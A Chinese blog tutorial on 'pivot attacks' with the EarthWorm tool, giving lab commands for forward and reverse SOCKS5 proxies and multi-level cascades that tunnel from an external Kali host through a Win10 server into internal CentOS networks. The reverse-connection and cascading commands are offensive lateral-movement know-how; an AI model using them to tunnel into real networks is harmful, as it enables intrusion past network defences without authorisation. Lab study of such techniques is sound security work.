跳板攻击之:EarthWorm代理转发

跳板攻击之:EarthWorm代理转发

1 EarthWorm官方介绍

  • EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
  • 下载地址:rootkiter/EarthWorm: Tool for tunnel (github.com)
  • 软件位置:.\EarthWorm\server\download

2 官方使用方法:

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

  • 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
  • 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
  • lcx 类别管道:
    • lcx_slave: 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    • lcx_tran: 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    • lcx_listen:该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

2.1 环境

image-20220816221840773

2.2 正向 SOCKS v5 服务器

  1. 实现:让外网kali通过对外服务器Win10访问内网CentOS

  2. 对外服务器Win10上执行

    ew_for_win_32.exe -s ssocksd -l 1080
    
  3. kali上配置

    vim /etc/proxychains4.conf
    socks5          192.168.50.236 1080
    
  4. 成功访问到内网

    image-20220816222408740

2.3 反弹 SOCKS v5 服务器

  1. 实现:让外网kali通过对内网CentOS反弹的SOCKS v5 访问内网CentOS

  2. 外网kali上运行以下命令:

    # 监听 8080 端口,8080 接收的数据通过8888交互传递
    ./ew_for_linux -s rcsocks -l 8080 -e 8888
    
  3. Win10上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

    # 开启反向socks服务。反向连接vps(kali)的8888端口
    ./ew_for_linux -s rssocks -d 192.168.50.2 -e 8888
    
  4. kali上配置

    vim /etc/proxychains4.conf
    socks5          127.0.0.1 8080
    
  5. 成功访问到内网

    image-20220816222408740

2.4 多级级联

image-20220817092852277

2.4.1 正向多级级联

  1. 实现:让外网kali通过对外服务器Win10代理转发到内网CentOS上访问内网CentOS2主机

  2. kali上执行

    # 监听1080端口,1080接收的数据通过8888交互传递
    ./ew_for_linux -s lcx_listen -l 1080 -e 8888
    
    # 配置proxychains
    vim /etc/proxychains4.conf
    socks5          127.0.0.1 1080
    
  3. 在内网CentOS上执行

    # 开启正向socks服务
    ./ew_for_linux  -s ssocksd -l 9999
    
    • 注意:防火墙要放行相应端口
  4. 在Win10上执行

    # 作为中间角色,反向连接vps(kali)的8888,正向连接Innet2(CentOS2)的9999。打通两者
    ew_for_win_32.exe -s lcx_slave -d 192.168.50.2 -e 8888 -f 10.0.0.7 -g 9999
    
  5. 成功连接内网10.1.1.0/24网段

    image-20220817082400395

2.4.2 反向多级级联

  1. 实现:让内网CentOS反弹的SOCKS v5 通过对外服务器Win10代理转发,反向连接外网kali。最终实现让外网kali内网CentOS2访问。

  2. kali上执行

    ./ew_for_linux -s rcsocks -l 1080 -e 8888
    
    # 配置proxychains
    vim /etc/proxychains4.conf
    socks5          127.0.0.1 1080
    
  3. 在win10上执行

    # 监听1080端口,1080接收的数据正向传给forward_ip(kali)的8888端口
    ew_for_win_32.exe -s lcx_tran -l 9999 -f 192.168.50.2 -g 8888
    
  4. 在内网CentOS上执行

    /ew_for_linux -s rssocks -d 10.0.0.6 -e 9999
    
  5. 成功连接内网10.1.1.0/24网段

    image-20220817082400395

2.4.3 三级级联本地SOCKS测试用例

卷不动了,有兴趣的测试下

$ ./ew -s rcsocks -l 1080 -e 8888  
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999  
$ ./ew -s lcx_listen -l 9999 -e 7777  
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
  • 数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

3 补充说明:

  1. 为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制将以隧道中最短的时间为默认值。
  2. 多级级联的三种状态可以转发任意以TCP为基础的通讯服务,包括远程桌面/ssh 服务等。
  3. ew_for_arm_32 在android手机、小米路由器和树莓派 上测试无误
posted @ 2022-08-17 09:36  f_carey  阅读(342)  评论(0编辑  收藏  举报